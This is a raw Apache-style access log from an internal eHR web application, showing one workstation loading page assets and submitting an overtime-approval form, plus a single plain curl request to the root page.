192.168.11.104 - - [06/Sep/2025:11:30:06 +0800] "GET /eHR/js/functions.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:30:06 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406
192.168.11.104 - - [06/Sep/2025:11:30:06 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.104 - - [06/Sep/2025:11:30:06 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406
192.168.11.104 - - [06/Sep/2025:11:30:06 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.104 - - [06/Sep/2025:11:30:08 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD HTTP/1.1" 200 1145970 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:30:08 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD HTTP/1.1" 200 1145970
192.168.11.104 - - [06/Sep/2025:11:30:19 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:30:19 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD HTTP/1.1" 302 -
192.168.11.104 - - [06/Sep/2025:11:30:20 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 "http://192.168.1.83:8088/eHR/ess/index.php?lang=ZHT" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:30:20 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220
192.168.11.104 - - [06/Sep/2025:11:30:30 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:30:30 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:30:30 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:30:30 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:30:30 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:30:30 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:30:30 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:30:30 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:30:30 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:30:30 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:30:30 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:30:30 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:30:30 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.accordion.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:30:30 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.accordion.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:30:30 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:30:30 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:30:30 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.dialog.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:30:30 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.dialog.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:30:30 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:30:30 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:30:30 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.slider.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:30:30 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.slider.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:30:30 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:30:30 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:30:30 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:30:30 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:30:30 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:30:30 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:30:30 +0800] "GET /eHR/css/layout/layout.min.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:30:30 +0800] "GET /eHR/css/layout/layout.min.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:30:30 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:30:30 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:30:30 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:30:30 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:30:30 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:30:30 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:30:30 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:30:30 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:30:30 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:30:30 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:30:30 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:30:30 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:30:30 +0800] "GET /eHR/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:30:30 +0800] "GET /eHR/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:30:30 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:30:30 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:30:30 +0800] "GET /eHR/img/human.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:30:30 +0800] "GET /eHR/img/human.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:30:30 +0800] "GET /eHR/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:30:30 +0800] "GET /eHR/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:30:30 +0800] "GET /eHR/js/jquery.layout.min-1.2.0.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:30:30 +0800] "GET /eHR/js/jquery.layout.min-1.2.0.js HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:30:30 +0800] "GET /eHR/js/jquery.cookie.min.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:30:30 +0800] "GET /eHR/js/jquery.cookie.min.js HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:30:30 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:30:30 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:30:30 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:30:30 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:30:30 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:30:30 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:30:30 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:30:30 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:30:30 +0800] "GET /eHR/img/Person.png HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:30:30 +0800] "GET /eHR/img/Person.png HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:30:30 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10184
192.168.11.104 - - [06/Sep/2025:11:30:30 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10184 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:30:31 +0800] "GET /eHR/css/blueprint/screen.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:30:31 +0800] "GET /eHR/css/blueprint/screen.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:30:31 +0800] "GET /eHR/css/default.css?m=20130917 HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:30:31 +0800] "GET /eHR/css/default.css?m=20130917 HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:30:31 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:30:31 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:30:31 +0800] "GET /eHR/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:30:31 +0800] "GET /eHR/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:30:31 +0800] "GET /eHR/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:30:31 +0800] "GET /eHR/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:30:31 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:30:31 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:30:31 +0800] "GET /eHR/js/functions.js HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:30:31 +0800] "GET /eHR/js/functions.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:30:31 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406
192.168.11.104 - - [06/Sep/2025:11:30:31 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.104 - - [06/Sep/2025:11:30:31 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406
192.168.11.104 - - [06/Sep/2025:11:30:31 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.104 - - [06/Sep/2025:11:30:54 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD HTTP/1.1" 200 1146628 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:30:54 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD HTTP/1.1" 200 1146628
100.64.0.1 - - [06/Sep/2025:11:31:04 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:11:31:04 +0800] "GET / HTTP/1.1" 200 439
192.168.11.104 - - [06/Sep/2025:11:31:05 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:31:05 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD HTTP/1.1" 302 -
192.168.11.104 - - [06/Sep/2025:11:31:07 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220
192.168.11.104 - - [06/Sep/2025:11:31:07 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 "http://192.168.1.83:8088/eHR/ess/index.php?lang=ZHT" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:31:16 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:31:16 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:31:16 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:31:16 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:31:16 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:31:16 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:31:16 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:31:16 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:31:16 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:31:16 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:31:16 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:31:16 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:31:16 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.accordion.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:31:16 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.accordion.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:31:16 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:31:16 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:31:16 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:31:16 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:11:31:16 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.dialog.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:11:31:16 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.dialog.css HTTP/1.1" 304 -
